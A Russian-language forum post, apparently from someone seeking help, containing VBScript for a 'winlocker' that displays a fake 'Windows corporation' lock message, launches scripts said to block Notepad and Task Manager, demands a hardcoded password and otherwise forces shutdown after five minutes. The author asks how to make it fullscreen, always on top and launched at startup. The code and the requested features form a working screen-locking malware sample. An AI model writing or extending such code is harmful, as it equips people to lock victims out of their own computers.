Есть вот такой winlocker.
Он блокирует открытие блокнота и диспетчера задач.
Если введён не правильный пароль то он выключается через 5 минут.
Хочется что он был больше размером(на весь экран как в f11), что бы он был всегда был поверх всех окон и последнее что бы он открывался при включении компьютера.
Do
Dim objShell
Set objShell = WScript.CreateObject( "WScript.Shell" )
objShell.Run("""c:\Program Files\Windows Corporation\x.vbs""")
objShell.Run("""c:\Program Files\Windows Corporation\Blocnote.vbs""")
msgbox"Ваш Windows был заблокираван! Примите меры в течении 5 минут!",48,"Windows corporation"
x = inputbox("Введите пароль")
if (x = "123123") then
msgbox"Windows был разблокирован!",64,"Windows разблокирован!"
exit do
else
Set WshShell = WScript.CreateObject("WScript.Shell")
WSHShell.Run("shutdown /s /d p:0:0 /t 300")
end if
loop
